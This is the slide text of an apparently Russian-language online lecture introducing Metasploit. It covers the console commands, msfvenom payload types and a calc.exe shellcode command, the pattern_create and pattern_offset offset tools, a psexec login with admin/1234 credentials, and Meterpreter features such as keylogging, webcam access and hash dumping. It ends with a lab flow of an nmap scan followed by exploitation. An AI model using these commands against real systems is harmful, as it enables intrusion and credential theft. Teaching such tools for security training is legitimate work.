
О Н Л А Й Н - О Б РА З О В А Н И Е



Меня хорошо слышно
&& видно? 

Напишите в чат, если есть проблемы!

Ставьте       если все хорошо+



METASPLOIT



Что это?

Создание эксплойтов

Тестирование эксплойтов

Инструмент, для

Упорядоченную базу с эксплойтами

Сканеры безопасности

Payloadы

Также содержит в себе



Пример shell кода

Код запуска калькулятора



Основные команды



Основные команды

Команда описание

use Выбрать модуль/начинку

Back Переход в начало

Show Вывод списка модулей/опций

Set Установка значения

Run/exploit Запуск модуля/эксплойта

Info Вывод информации

Search Поиск модуля

Check проверить систему на применимость 

эксплойта

sessions Список открытых сессий



Генератор payloadов



msfvenom

Заменила два модуль: msfpayload и msfencode

Обязательные параметры: -p и -f



msfvenom

Виды payloadов

Windows/adduser

Windows/dns_txt_query_exec

windows/download_exec

windows/exec

windows/format_all_drives

windows/loadlibrary

windows/messagebox



msfvenom

Виды payloadов

Windows/adduser

Windows/dns_txt_query_exec

windows/download_exec

windows/exec

windows/format_all_drives

windows/loadlibrary

windows/messagebox

Узнаем параметры для payloadа

msfvenom -p windows/exec --list-options



Пример

Сгенерируем shellcode для запуска калькулятора

msfvenom -p windows/exec -f C cmd=calc.exe



Тестируем

Программа на C

Адрес Process Environment Block получается по [FS:0x30]



Инструменты

cd /usr/share/metasploit-framework/tools/exploit



Pattern_create

Скрипт, генерирующий строку из почти уникальных патернов



Pattern_create

pattern_create –l 100

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6A

b7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A



pattern_offset

pattern_offset -h

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6A

b7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A



pattern_offset

pattern_offset –q a3Aa –l 100

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6A

b7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A



Meterpreter



Модуль psexec

use 
exploit/windows/smb/psexec

Set rhost xxx.xxx.xxx.xxx

Set smbuser admin

Set smbpass 1234

exploit

Проникаем на комрьютер, используя забрученные креды



Payload Meterpreter

Пример дампинга хешей



Возможности payloadа

Некоторые возможности

 Миграция в процесс

 Повышение привилегий

 Режим кейлоггера

 Работа с микрофоном

 Работа с web камерой

 Дамп хешей

 Проброс портов



Практика



Сканируем жертву

nmap -sV -n 172.16.1.5



Пробуем найти эксплойт в базе метасплойта

search httpfile



Пробиваем жертву

Мы в системе!



Вопросы???



Пакулов Артур



Спасибо
за внимание!


